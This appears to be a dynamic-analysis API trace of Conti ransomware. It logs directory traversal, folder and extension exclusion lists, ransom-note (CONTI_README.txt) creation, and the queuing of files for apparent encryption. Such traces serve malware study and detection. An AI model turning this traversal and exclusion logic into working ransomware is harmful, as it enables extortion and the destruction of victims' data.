	[0093.515] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1044\\*", lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x4b93fc25, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x175e3b0
	[0093.515] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0093.515] FindNextFileW (in: hFindFile=0x175e3b0, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x4b93fc25, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0093.515] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0093.515] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0093.515] FindNextFileW (in: hFindFile=0x175e3b0, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4b93fc25, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x4b93fc25, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x4b93fc25, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0093.515] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0093.515] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0093.515] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0093.515] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0093.515] FindNextFileW (in: hFindFile=0x175e3b0, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xbe6, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0093.515] lstrcmpiW (lpString1="eula.rtf", lpString2=".") returned 1
	[0093.515] lstrcmpiW (lpString1="eula.rtf", lpString2="..") returned 1
	[0093.515] StrStrIW (lpFirst="eula.rtf", lpSrch=".CONTI") returned 0x0
	[0093.515] StrStrIW (lpFirst="eula.rtf", lpSrch="CONTI_README.txt") returned 0x0
	[0093.515] StrStrIW (lpFirst="eula.rtf", lpSrch=".exe") returned 0x0
	[0093.515] StrStrIW (lpFirst="eula.rtf", lpSrch=".dll") returned 0x0
	[0093.515] StrStrIW (lpFirst="eula.rtf", lpSrch=".lnk") returned 0x0
	[0093.515] StrStrIW (lpFirst="eula.rtf", lpSrch=".sys") returned 0x0
	[0093.515] StrStrIW (lpFirst="eula.rtf", lpSrch=".CONTI") returned 0x0
	[0093.516] StrStrIW (lpFirst="eula.rtf", lpSrch="CONTI_README.txt") returned 0x0
	[0093.516] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044") returned 26
	[0093.516] lstrlenW (lpString="eula.rtf") returned 8
	[0093.516] GetProcessHeap () returned 0x1720000
	[0093.516] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x48) returned 0x173cfb8
	[0093.516] lstrcpyW (in: lpString1=0x173cfb8, lpString2="C:\\588bce7c90097ed212\\1044" | out: lpString1="C:\\588bce7c90097ed212\\1044") returned="C:\\588bce7c90097ed212\\1044"
	[0093.516] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1044", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\1044\\") returned="C:\\588bce7c90097ed212\\1044\\"
	[0093.516] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1044\\", lpString2="eula.rtf" | out: lpString1="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned="C:\\588bce7c90097ed212\\1044\\eula.rtf"
	[0093.516] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17d2f90) returned 1
	[0093.516] FindNextFileW (in: hFindFile=0x175e3b0, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x135c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0093.516] lstrcmpiW (lpString1="LocalizedData.xml", lpString2=".") returned 1
	[0093.516] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="..") returned 1
	[0093.516] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".CONTI") returned 0x0
	[0093.516] StrStrIW (lpFirst="LocalizedData.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0093.516] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".exe") returned 0x0
	[0093.516] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".dll") returned 0x0
	[0093.516] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".lnk") returned 0x0
	[0093.516] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".sys") returned 0x0
	[0093.516] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".CONTI") returned 0x0
	[0093.516] StrStrIW (lpFirst="LocalizedData.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0093.516] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044") returned 26
	[0093.516] lstrlenW (lpString="LocalizedData.xml") returned 17
	[0093.516] GetProcessHeap () returned 0x1720000
	[0093.516] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x5a) returned 0x17c0b90
	[0093.516] lstrcpyW (in: lpString1=0x17c0b90, lpString2="C:\\588bce7c90097ed212\\1044" | out: lpString1="C:\\588bce7c90097ed212\\1044") returned="C:\\588bce7c90097ed212\\1044"
	[0093.516] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1044", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\1044\\") returned="C:\\588bce7c90097ed212\\1044\\"
	[0093.516] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1044\\", lpString2="LocalizedData.xml" | out: lpString1="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml"
	[0093.516] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17d41d0) returned 1
	[0093.516] FindNextFileW (in: hFindFile=0x175e3b0, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0093.516] lstrcmpiW (lpString1="SetupResources.dll", lpString2=".") returned 1
	[0093.516] lstrcmpiW (lpString1="SetupResources.dll", lpString2="..") returned 1
	[0093.517] StrStrIW (lpFirst="SetupResources.dll", lpSrch=".CONTI") returned 0x0
	[0093.517] StrStrIW (lpFirst="SetupResources.dll", lpSrch="CONTI_README.txt") returned 0x0
	[0093.517] StrStrIW (lpFirst="SetupResources.dll", lpSrch=".exe") returned 0x0
	[0093.517] StrStrIW (lpFirst="SetupResources.dll", lpSrch=".dll") returned=".dll"
	[0093.517] FindNextFileW (in: hFindFile=0x175e3b0, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0093.517] GetProcessHeap () returned 0x1720000
	[0093.517] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1734558 | out: hHeap=0x1720000) returned 1
	[0093.517] FindClose (in: hFindFile=0x175e3b0 | out: hFindFile=0x175e3b0) returned 1
	[0093.517] GetProcessHeap () returned 0x1720000
	[0093.517] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x175e330 | out: hHeap=0x1720000) returned 1
	[0093.517] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x45, dwReserved1=0xffffed8b, cFileName="1045", cAlternateFileName="")) returned 1
	[0093.517] lstrcmpiW (lpString1="1045", lpString2=".") returned 1
	[0093.517] lstrcmpiW (lpString1="1045", lpString2="..") returned 1
	[0093.517] lstrcmpiW (lpString1="1045", lpString2="tmp") returned -1
	[0093.517] lstrcmpiW (lpString1="1045", lpString2="winnt") returned -1
	[0093.517] lstrcmpiW (lpString1="1045", lpString2="Application Data") returned -1
	[0093.517] lstrcmpiW (lpString1="1045", lpString2="AppData") returned -1
	[0093.517] lstrcmpiW (lpString1="1045", lpString2="temp") returned -1
	[0093.517] lstrcmpiW (lpString1="1045", lpString2="thumb") returned -1
	[0093.517] lstrcmpiW (lpString1="1045", lpString2="$Recycle.Bin") returned 1
	[0093.517] lstrcmpiW (lpString1="1045", lpString2="$RECYCLE.BIN") returned 1
	[0093.517] lstrcmpiW (lpString1="1045", lpString2="System Volume Information") returned -1
	[0093.517] lstrcmpiW (lpString1="1045", lpString2="Program Files") returned -1
	[0093.517] lstrcmpiW (lpString1="1045", lpString2="Program Files (x86)") returned -1
	[0093.517] lstrcmpiW (lpString1="1045", lpString2="Boot") returned -1
	[0093.517] lstrcmpiW (lpString1="1045", lpString2="Windows") returned -1
	[0093.517] lstrlenW (lpString="C:\\588bce7c90097ed212") returned 21
	[0093.517] lstrlenW (lpString="1045") returned 4
	[0093.517] GetProcessHeap () returned 0x1720000
	[0093.517] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x36) returned 0x175e4f0
	[0093.517] lstrcpyW (in: lpString1=0x175e4f0, lpString2="C:\\588bce7c90097ed212" | out: lpString1="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212"
	[0093.517] lstrcatW (in: lpString1="C:\\588bce7c90097ed212", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\"
	[0093.517] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\", lpString2="1045" | out: lpString1="C:\\588bce7c90097ed212\\1045") returned="C:\\588bce7c90097ed212\\1045"
	[0093.518] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045") returned 26
	[0093.518] GetProcessHeap () returned 0x1720000
	[0093.518] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x3a) returned 0x1734708
	[0093.518] lstrcpyW (in: lpString1=0x1734708, lpString2="C:\\588bce7c90097ed212\\1045" | out: lpString1="C:\\588bce7c90097ed212\\1045") returned="C:\\588bce7c90097ed212\\1045"
	[0093.518] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1045", lpString2="\\*" | out: lpString1="C:\\588bce7c90097ed212\\1045\\*") returned="C:\\588bce7c90097ed212\\1045\\*"
	[0093.518] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045") returned 26
	[0093.518] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0093.518] GetProcessHeap () returned 0x1720000
	[0093.518] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x58) returned 0x17c2a78
	[0093.518] lstrcpyW (in: lpString1=0x17c2a78, lpString2="C:\\588bce7c90097ed212\\1045" | out: lpString1="C:\\588bce7c90097ed212\\1045") returned="C:\\588bce7c90097ed212\\1045"
	[0093.518] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1045", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\1045\\") returned="C:\\588bce7c90097ed212\\1045\\"
	[0093.518] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1045\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\588bce7c90097ed212\\1045\\CONTI_README.txt") returned="C:\\588bce7c90097ed212\\1045\\CONTI_README.txt"
	[0093.518] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\CONTI_README.txt" (normalized: "c:\\588bce7c90097ed212\\1045\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0093.523] GetProcessHeap () returned 0x1720000
	[0093.523] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c2a78 | out: hHeap=0x1720000) returned 1
	[0093.523] WriteFile (in: hFile=0x33c, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3f61c, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3f61c*=0xa2, lpOverlapped=0x0) returned 1
	[0093.524] CloseHandle (hObject=0x33c) returned 1
	[0093.524] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1045\\*", lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x4b965be4, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x175e3b0
	[0093.524] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0093.524] FindNextFileW (in: hFindFile=0x175e3b0, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x4b965be4, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0093.524] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0093.524] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0093.524] FindNextFileW (in: hFindFile=0x175e3b0, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4b965be4, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x4b965be4, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x4b965be4, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0093.524] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0093.524] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0093.524] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0093.524] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0093.524] FindNextFileW (in: hFindFile=0x175e3b0, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xfc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0093.524] lstrcmpiW (lpString1="eula.rtf", lpString2=".") returned 1
	[0093.524] lstrcmpiW (lpString1="eula.rtf", lpString2="..") returned 1
	[0093.524] StrStrIW (lpFirst="eula.rtf", lpSrch=".CONTI") returned 0x0
	[0093.525] StrStrIW (lpFirst="eula.rtf", lpSrch="CONTI_README.txt") returned 0x0
	[0093.525] StrStrIW (lpFirst="eula.rtf", lpSrch=".exe") returned 0x0
	[0093.525] StrStrIW (lpFirst="eula.rtf", lpSrch=".dll") returned 0x0
	[0093.525] StrStrIW (lpFirst="eula.rtf", lpSrch=".lnk") returned 0x0
	[0093.525] StrStrIW (lpFirst="eula.rtf", lpSrch=".sys") returned 0x0
	[0093.525] StrStrIW (lpFirst="eula.rtf", lpSrch=".CONTI") returned 0x0
	[0093.525] StrStrIW (lpFirst="eula.rtf", lpSrch="CONTI_README.txt") returned 0x0
	[0093.525] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045") returned 26
	[0093.525] lstrlenW (lpString="eula.rtf") returned 8
	[0093.525] GetProcessHeap () returned 0x1720000
	[0093.525] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x48) returned 0x173d648
	[0093.525] lstrcpyW (in: lpString1=0x173d648, lpString2="C:\\588bce7c90097ed212\\1045" | out: lpString1="C:\\588bce7c90097ed212\\1045") returned="C:\\588bce7c90097ed212\\1045"
	[0093.525] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1045", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\1045\\") returned="C:\\588bce7c90097ed212\\1045\\"
	[0093.525] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1045\\", lpString2="eula.rtf" | out: lpString1="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned="C:\\588bce7c90097ed212\\1045\\eula.rtf"
	[0093.525] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17d28b8) returned 1
	[0093.525] FindNextFileW (in: hFindFile=0x175e3b0, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x141c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0093.525] lstrcmpiW (lpString1="LocalizedData.xml", lpString2=".") returned 1
	[0093.525] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="..") returned 1
	[0093.525] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".CONTI") returned 0x0
	[0093.525] StrStrIW (lpFirst="LocalizedData.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0093.525] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".exe") returned 0x0
	[0093.525] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".dll") returned 0x0
	[0093.525] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".lnk") returned 0x0
	[0093.525] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".sys") returned 0x0
	[0093.525] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".CONTI") returned 0x0
	[0093.525] StrStrIW (lpFirst="LocalizedData.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0093.525] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045") returned 26
	[0093.525] lstrlenW (lpString="LocalizedData.xml") returned 17
	[0093.525] GetProcessHeap () returned 0x1720000
	[0093.525] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x5a) returned 0x17c0bf8
	[0093.525] lstrcpyW (in: lpString1=0x17c0bf8, lpString2="C:\\588bce7c90097ed212\\1045" | out: lpString1="C:\\588bce7c90097ed212\\1045") returned="C:\\588bce7c90097ed212\\1045"
	[0093.525] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1045", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\1045\\") returned="C:\\588bce7c90097ed212\\1045\\"
	[0093.525] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1045\\", lpString2="LocalizedData.xml" | out: lpString1="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml"
	[0093.526] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17d58a0) returned 1
	[0093.526] FindNextFileW (in: hFindFile=0x175e3b0, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0093.526] lstrcmpiW (lpString1="SetupResources.dll", lpString2=".") returned 1
	[0093.526] lstrcmpiW (lpString1="SetupResources.dll", lpString2="..") returned 1
	[0093.526] StrStrIW (lpFirst="SetupResources.dll", lpSrch=".CONTI") returned 0x0
	[0093.526] StrStrIW (lpFirst="SetupResources.dll", lpSrch="CONTI_README.txt") returned 0x0
	[0093.526] StrStrIW (lpFirst="SetupResources.dll", lpSrch=".exe") returned 0x0
	[0093.526] StrStrIW (lpFirst="SetupResources.dll", lpSrch=".dll") returned=".dll"
	[0093.526] FindNextFileW (in: hFindFile=0x175e3b0, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0093.526] GetProcessHeap () returned 0x1720000
	[0093.526] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1734708 | out: hHeap=0x1720000) returned 1
	[0093.526] FindClose (in: hFindFile=0x175e3b0 | out: hFindFile=0x175e3b0) returned 1
	[0093.526] GetProcessHeap () returned 0x1720000
	[0093.526] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x175e4f0 | out: hHeap=0x1720000) returned 1
	[0093.526] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x45, dwReserved1=0xffffed8b, cFileName="1046", cAlternateFileName="")) returned 1
	[0093.526] lstrcmpiW (lpString1="1046", lpString2=".") returned 1
	[0093.526] lstrcmpiW (lpString1="1046", lpString2="..") returned 1
	[0093.526] lstrcmpiW (lpString1="1046", lpString2="tmp") returned -1
	[0093.526] lstrcmpiW (lpString1="1046", lpString2="winnt") returned -1
	[0093.526] lstrcmpiW (lpString1="1046", lpString2="Application Data") returned -1
	[0093.526] lstrcmpiW (lpString1="1046", lpString2="AppData") returned -1
	[0093.526] lstrcmpiW (lpString1="1046", lpString2="temp") returned -1
	[0093.526] lstrcmpiW (lpString1="1046", lpString2="thumb") returned -1
	[0093.526] lstrcmpiW (lpString1="1046", lpString2="$Recycle.Bin") returned 1
	[0093.526] lstrcmpiW (lpString1="1046", lpString2="$RECYCLE.BIN") returned 1
	[0093.526] lstrcmpiW (lpString1="1046", lpString2="System Volume Information") returned -1
	[0093.526] lstrcmpiW (lpString1="1046", lpString2="Program Files") returned -1
	[0093.526] lstrcmpiW (lpString1="1046", lpString2="Program Files (x86)") returned -1
	[0093.526] lstrcmpiW (lpString1="1046", lpString2="Boot") returned -1
	[0093.526] lstrcmpiW (lpString1="1046", lpString2="Windows") returned -1
	[0093.526] lstrlenW (lpString="C:\\588bce7c90097ed212") returned 21
	[0093.526] lstrlenW (lpString="1046") returned 4
	[0093.526] GetProcessHeap () returned 0x1720000
	[0093.526] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x36) returned 0x175e470
	[0093.526] lstrcpyW (in: lpString1=0x175e470, lpString2="C:\\588bce7c90097ed212" | out: lpString1="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212"
	[0093.527] lstrcatW (in: lpString1="C:\\588bce7c90097ed212", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\"
	[0093.527] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\", lpString2="1046" | out: lpString1="C:\\588bce7c90097ed212\\1046") returned="C:\\588bce7c90097ed212\\1046"
	[0093.527] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046") returned 26
	[0093.527] GetProcessHeap () returned 0x1720000
	[0093.527] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x3a) returned 0x1734870
	[0093.527] lstrcpyW (in: lpString1=0x1734870, lpString2="C:\\588bce7c90097ed212\\1046" | out: lpString1="C:\\588bce7c90097ed212\\1046") returned="C:\\588bce7c90097ed212\\1046"
	[0093.527] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1046", lpString2="\\*" | out: lpString1="C:\\588bce7c90097ed212\\1046\\*") returned="C:\\588bce7c90097ed212\\1046\\*"
	[0093.527] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046") returned 26
	[0093.527] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0093.527] GetProcessHeap () returned 0x1720000
	[0093.527] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x58) returned 0x17c2a78
	[0093.527] lstrcpyW (in: lpString1=0x17c2a78, lpString2="C:\\588bce7c90097ed212\\1046" | out: lpString1="C:\\588bce7c90097ed212\\1046") returned="C:\\588bce7c90097ed212\\1046"
